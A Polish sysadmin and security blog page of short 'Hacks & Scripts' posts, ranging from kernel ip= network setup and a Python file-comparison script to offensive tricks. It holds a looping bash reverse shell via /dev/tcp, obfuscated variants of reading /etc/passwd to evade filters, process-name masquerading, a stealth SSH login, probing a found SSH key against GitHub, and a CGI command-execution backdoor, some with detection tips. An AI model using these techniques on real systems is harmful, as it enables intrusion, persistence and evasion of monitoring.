Napisał: Patryk Krawaczyński
25/02/2026 (2 dni temu) w Administracja, Hacks & Scripts
A
gdybym Ci powiedział, że Linux nie potrzebuje żadnego zewnętrznego klienta DHCP, menedżera sieciowego ani innego narzędzia do konfiguracji sieci, aby skutecznie przeprowadzić proces konfiguracji jednego interfejsu sieciowego na dowolnym serwerze? Wystarczy tylko jądro i bootloader. W dodatku metoda ta jest kompatybilna wstecz aż do wersji Linuksa 2.0 z 1996 roku. Mowa tutaj o mechanizmie nfsroot, który pierwotnie został stworzony dla stacji bezdyskowych, a zawarty w nim parametr jądra ip= to przydatne narzędzie, które może w różnych sytuacjach pomóc skonfigurować sieć bez dodatkowego oprogramowania. Jeśli dobrze się wczytamy to dokumentacja nfsroot definiuje składnię parametru ip=, który poinstruuje jądro, jak skonfigurować wybrany interfejs sieciowy podczas startu systemu. Choć nazwa sugeruje powiązanie z NFS (ang. Network File System), mechanizm ten działa niezależnie od tego, czy ostatecznie zamontujemy system plików przez sieć. Jego składnia jest bardzo prosta:
ip=[klient]:[server]:[brama]:[maska]:[host]:[interfejs]:[autokonf]:[dns0]:[dns1]:[ntp0]
Gdzie:
- klient – to adres IP jaki chcemy przypisać interfejsowi sieciowemu.
- server – adres IP serwera NFS (możemy pominąć, jeśli nie montujemy systemu plików).
- brama – adres IP bramy sieciowej odpowiedzialnej za dostęp do sieci / internetu.
- maska – maska sieciowa definiująca do jakiej podsieci należy adres IP z pola klient.
- host – nazwa hosta / serwera.
- interfejs – nazwa interfejsu sieciowego, dla którego chcemy skonfigurować adresację sieciową.
- autokonf – określa jakim protokołem skonfigurować interfejs: dhcp, bootp, rarp lub off (statycznie).
- dns0 – adres pierwszego serwera DNS (działa tylko serwerem NFS), który pojawi się w
/proc/net/pnp.
- dns1 – adresu drugiego serwera DNS (działa tylko serwerem NFS), który pojawi się w
/proc/net/pnp.
- ntp0 – adres serwera NTP, który pojawi się w
/proc/net/ipconfig/ntp_servers.
Przykłady:
GRUB_CMDLINE_LINUX="ip=192.168.254.2::192.168.254.1:255.255.255.0:darkstar:enp0s8:off:::"
Ustawi na interfejsie enp0s8 statyczny adres IP: 192.168.254.2/24, którego bramą sieciową jest: 192.168.254.1. Jeśli nie podamy nazwy interfejsu sieciowego zostanie wybrany pierwszy interfejs w systemie.
GRUB_CMDLINE_LINUX="ip=:::::enp0s8:dhcp:::"
Skonfiguruje interfejs enp0s8 za pomocą protokołu DHCP. Jeśli nie podamy nazwy interfejsu sieciowego zostanie wybrany pierwszy interfejs w systemie. Natomiast jeśli posiadamy tylko jeden interfejs to sprawa uproszcza się do krótkiego wpisu:
GRUB_CMDLINE_LINUX="ip=dhcp"
Fraza GRUB_CMDLINE_LINUX w powyższych przykładach pojawia się nie bez powodu, ponieważ zastosowanie tej metody w systemie (np. Debian / Ubuntu) wymaga zmodyfikowania parametrów startowych w programie rozruchowym GRUB. Poprzez edycję pliku: /etc/default/grub i dopisanie do linii GRUB_CMDLINE_LINUX odpowiednio dobranego parametru ip= aktywujemy mechanizm przy starcie systemu. Po edycji i zapisie w/w pliku wymagana jest aktualizacja konfiguracji GRUB:
sudo update-grub
Należy tylko pamiętać, że sterownik karty sieciowej musi być wkompilowany w jądro systemu lub dostępny w obrazie initrd/initramfs.
Więcej informacji: Setting a Static IP Address Using the Kernel Command Line, Kernel-only network configuration on Linux
Napisał: Patryk Krawaczyński
06/04/2025 w Hacks & Scripts
Powrównując różne dane w języku Python, ze względu na wydajność najlepiej użyć do tego zbiorów. Zbiory są zaimplementowane przy użyciu tablic mieszających. Za każdym razem, gdy dodajemy obiekt do zbioru, pozycja w pamięci obiektu zbioru jest określana przy użyciu funkcji skrótu obiektu, który ma zostać dodany. Podczas testowania przynależności obiektu, wszystko co należy zrobić, to sprawdzić, czy obiekt znajduje się na pozycji określonej przez jego funkcję skrótu (ang. hash) – dlatego szybkość tej operacji nie zależy od rozmiaru zestawu danych. W przypadku list jest odwrotnie – cała lista musi zostać przeszukana, co stanie się wolniejsze wraz ze wzrostem tej listy. Przykładem może być szukanie unikalnych linii występujących w pierwszym pliku w porównaniu z drugim plikiem:
#!/usr/bin/env python3
import argparse
def uniq_lines(file1, file2, file3):
try:
with open(file1, 'r') as f1, open(file2, 'r') as f2, open(file3, 'w') as f3:
file2_lines = set(line.strip() for line in f2)
print(file2_lines)
for line in f1:
if line.strip() not in file2_lines:
f3.write(line)
except FileNotFoundError:
print('Error: One of the files was not found.')
except IOError:
print('Error: An I/O error occurred while reading the files.')
print(f'Unique lines from {file1} compared with {file2} written to {file3}.')
if __name__ == "__main__":
parser = argparse.ArgumentParser(
prog='UniqLines.py',
description='Compare two files and write unique lines to a third file.')
parser.add_argument('file1', help='The first file.')
parser.add_argument('file2', help='The second file.')
parser.add_argument('file3', help='The third file to write unique lines to.')
args = parser.parse_args()
uniq_lines(args.file1, args.file2, args.file3)
Wszystkie unikalne linie zapisywane są do trzeciego pliku.
Napisał: Patryk Krawaczyński
27/10/2024 w CmdLineFu, Hacks & Scripts
// sleeper.c
#include <stdio.h>
#include <unistd.h>
int main()
{
sleep(60);
printf("Infecting Linux Host.");
return 0;
}
agresor@darkstar:~$ gcc -o sleeper sleeper.c
agresor@darkstar:~$ exec -a '/lib/systemd/systemd --abuse' ./sleeper &
[1] 5354
agresor@darkstar:~$ ps x
PID TTY STAT TIME COMMAND
4925 ? Ss 0:00 /lib/systemd/systemd --user
4926 ? S 0:00 (sd-pam)
4988 ? R 0:00 sshd: agresor@pts/0
4989 pts/0 Ss 0:00 -bash
5354 pts/0 S 0:00 /lib/systemd/systemd --abuse
5357 pts/0 R+ 0:00 ps x
Należy mieć na uwadze, że exec najlepiej w tym przypadku działa z plikami binarnymi. I bardzo prosto wykryć ten trick:
agresor@darkstar:~$ ls -al /proc/5354/exe
lrwxrwxrwx 1 agresor agresor 0 Oct 27 19:24 /proc/5354/exe -> /home/agresor/sleeper
agresor@darkstar:~$ cat /proc/5354/cmdline
/lib/systemd/systemd --abuse
agresor@darkstar:~$ cat /proc/5354/comm
sleeper
Więcej informacji: Why isn’t `exec -a` working the way I expect?
Napisał: Patryk Krawaczyński
15/09/2024 w Hacks & Scripts, Pen Test
P
owłoka bash zawiera wiele funkcji, które pojawiają się w innych popularnych powłokach, a także niektóre funkcje, które są tylko w niej. Dzięki rozbudowanej składni pozwala na pisanie skryptów w wewnętrznym języku programowania, a jego elementy upraszczają pracę w codziennej pracy z wydawanymi poleceniami np. touch {exploit,payload}.{c,sh} tworzy jednym poleceniem cztery pliki: exploit.c, exploit.sh, payload.c, payload.sh. Dzięki temu jedno polecenie może zostać wydane na wiele różnych sposobów używając techniki zaciemnienia / obfuskacji (ang. obfuscation), która zmienia składnię polecenia, ale zachowuje jego semantykę jednocześnie utrudniając jego zrozumienie i umożliwiając ominięcie różnego rodzaju filtrów i mechanizmów detekcyjnych. Na przykład popularne polecenie, takie jak:
cat /etc/passwd
może zostać zapisane na wiele różnych sposobów dając ten sam wynik:
cat /et\
c/pa\
sswd
cat${IFS}/etc/passwd
IFS=,;`cat<<<cat,/etc/passwd`
{cat,/etc/passwd}
cat</etc/passwd
X=$'cat\x20/etc/passwd'&&$X
cat ${HOME:0:1}etc${HOME:0:1}passwd
{\c''\a""t,/e''*?/?a?s??}
{\c''\a""\t,/\e''*?/\p*w\d}
{$'\x63'\a$'\x74',/\e''*?/\p*w$'\x64'}
{/b??/g?e?,.,/e??/p?s??d}
$(echo {/b??/ge*n''t,\p\a\s\s\w\d})
$(echo cat /etc/[p][a][s][s][w][d])
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
hex=(63 61 74 20 2F 65 74 63 2F 70 61 73 73 77 64) \
echo $(for i in ${hex[@]}; do echo -n -e "\x$i"; done) | sh
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
showme=/ehhh/hmtc/pahhh/hmsswd&&cat ${showme//hhh\/hm/}
Przykłady te wykorzystują znak ucieczki dla nowej linii, separator pól wejściowych, przekierowania strumieni, notację ANSI-C, podstawianie poleceń, rozbudowę klamry, manipulację ciągami tekstowymi, symbole wieloznaczne, wyrażenia regularne z nawiasami kwadratowymi, przekształcanie oraz rozszerzanie parametrów powłoki. Możliwości zapisu poleceń w postaci alternatywnej zależy tylko od naszej kreatywności oraz poziomu zaawansowania umiejętności administracyjno-programistycznych w powłoce.
Więcej informacji: Extraction of wiki.bash-hackers.org from the Wayback Machine
Napisał: Patryk Krawaczyński
22/03/2024 w Hacks & Scripts
Jak wyodrębnić załącznik z przesłanego pliku .eml do analizy?
agresor@soconda:~$ python3 -m venv emls
(emls) agresor@soconda:~$ source emls/bin/activate
(emls) agresor@soconda:~$ pip install eml-extractor
Collecting eml-extractor
Using cached eml_extractor-0.1.1-py3-none-any.whl.metadata (3.3 kB)
Using cached eml_extractor-0.1.1-py3-none-any.whl (4.7 kB)
Installing collected packages: eml-extractor
Successfully installed eml-extractor-0.1.1
(emls) agresor@soconda:~$ du -k analyze_me.eml
25684 analyze_me.eml
(emls) agresor@soconda:~$ eml-extractor -f analyze_me.eml
PROCESSING FILE "analyze_me.eml"
>> Attachment found: malware_sample.zip
>> Saving attachment to "/home/agresor/Analyze Me/malware_sample.zip"
Done.
(emls) agresor@soconda:~$ du -k Analyze\ Me/malware_sample.zip
18668 Analyze\ Me/malware_sample.zip
Więcej informacji: EML Extractor
Napisał: Patryk Krawaczyński
29/07/2022 w Hacks & Scripts
python3 -m pip install cidr-trie
>>> from cidr_trie import PatriciaTrie
>>> ip_owner = PatriciaTrie()
>>> ip_owner.insert("10.0.0.0/8", "LAN-A")
>>> ip_owner.insert("172.16.0.0/12", "LAN-B")
>>> ip_owner.insert("192.168.0.0/16", "LAN-C")
>>> ip_owner.insert("192.168.1.0/24", "LAN-C-Office-Toronto")
>>> ip_owner.insert("104.16.0.0/12", "Internet-Cloudflare")
>>> ip_owner.insert("31.171.152.0/22", "Internet-HostileVPN")
>>> ip_owner.find_all("31.171.152.25")
[('31.171.152.0/22', 'Hostile VPN')]
>>> ip_owner.find_all("192.168.1.13")
[('192.168.0.0/16', 'LAN-C'), ('192.168.1.0/24', 'LAN-C-Office-Toronto')]
>>> ', '.join((v[1] for v in ip_owner.find_all("192.168.1.13")))
'LAN C, LAN-C-Office-Toronto'
Więcej informacji: Skompresowane drzewo trie, Store CIDR IP addresses (both v4 and v6) in a trie for easy lookup
Napisał: Patryk Krawaczyński
24/04/2021 w Hacks & Scripts
while :;do sleep 5;/bin/bash -i >/dev/tcp/127.0.0.1/8080 0<&1 2>&1;done
Napisał: Patryk Krawaczyński
26/03/2021 w Hacks & Scripts
Znalazłeś w repozytorium X prywatny klucz SSH i chciałbyś się dowiedzieć do kogo należy? Nic prostszego:
ssh -i znajda.key git@github.com
Warning: Permanently added 'github.com' (RSA) to the list of known hosts.
PTY allocation request failed on channel 0
Hi nfsec! You've successfully authenticated, but GitHub does not provide shell access.
Connection to github.com closed.
Działa również z gitlab.com, bitbucket.org i zapewne innymi.
Więcej informacji: GNU/JUSTIN
Napisał: Patryk Krawaczyński
25/02/2021 w Hacks & Scripts
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T agresor@192.168.1.1 \
"bash -i"
Jeśli w ten sposób połączymy się z wybranym serwerem przez SSH, to nasz użytkownik nie zostanie dodany do pliku /var/log/utmp i nie pojawi się w poleceniu who (zalogowanych użytkowników). Pominie również takie pliki, jak .profile oraz .bash_profile, a po stronie klienta nie zarejestruje nazwy hosta zapisując go do pliku ~/.ssh/known_hosts:
agresor@darkstar:~$ w
w
22:44:35 up 11 min, 1 user, load average: 0.05, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 22:37 5:15 0.04s 0.03s -bash
agresor@darkstar:~$ who
who
root tty1 2021-02-25 22:37
Prawie niewidzialne SSH, ponieważ połączenie sieciowe nadal widnieje w systemie:
agresor@darkstar:~$ ss -t
ss -t
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
ESTAB 0 0 192.168.56.2:ssh 192.168.56.1:49998
Plus możemy zacząć szukać sesji, które nie mają zaalokowanego terminala:
agresor@darkstar:~$ loginctl | grep -v pts
SESSION UID USER SEAT TTY
3 1000 agresor
3 sessions listed.
agresor@darkstar:~$ loginctl session-status 3
3 - agresor (1000)
Since: Mon 2022-11-21 22:01:48 UTC; 37min ago
Leader: 1880 (sshd)
Remote: 127.0.0.1
Service: sshd; type tty; class user
State: active
Unit: session-3.scope
├─1880 "sshd: agresor [priv]"
├─1927 "sshd: agresor@notty" ""
└─1928 bash -i
Nov 21 22:01:48 darkstar systemd[1]: Started Session 3 of User agresor.
agresor@darkstar:~$ pstree `ps -eo pid,cmd | grep sshd\:.*@notty \
| grep -v grep | awk '{ print $1 }'` -ap
sshd,1927
└─bash,1928 -i
Więcej informacji: man ssh
Napisał: Patryk Krawaczyński
16/11/2020 w Hacks & Scripts
cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'spc=" "' >> ./cgi-bin/backdoor.cgi
echo 'str=$1' >> ./cgi-bin/backdoor.cgi
echo 'cmd=$(echo "${str//XXX/$spc}")' >> ./cgi-bin/backdoor.cgi
echo 'printf '"'"'%s\n'"'"' "$($cmd)"' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi
python -m http.server --cgi
curl "http://localhost:8000/cgi-bin/backdoor.cgi?unameXXX-a"
Darwin johhny5 19.6.0 Darwin Kernel Version 19.6.0: Thu Oct 29 22:56:45 PDT 2020;
root:xnu-6153.141.2.2~1/RELEASE_X86_64 x86_64
Więcej informacji: Mark Baggett github gist
Ostatni komentarz :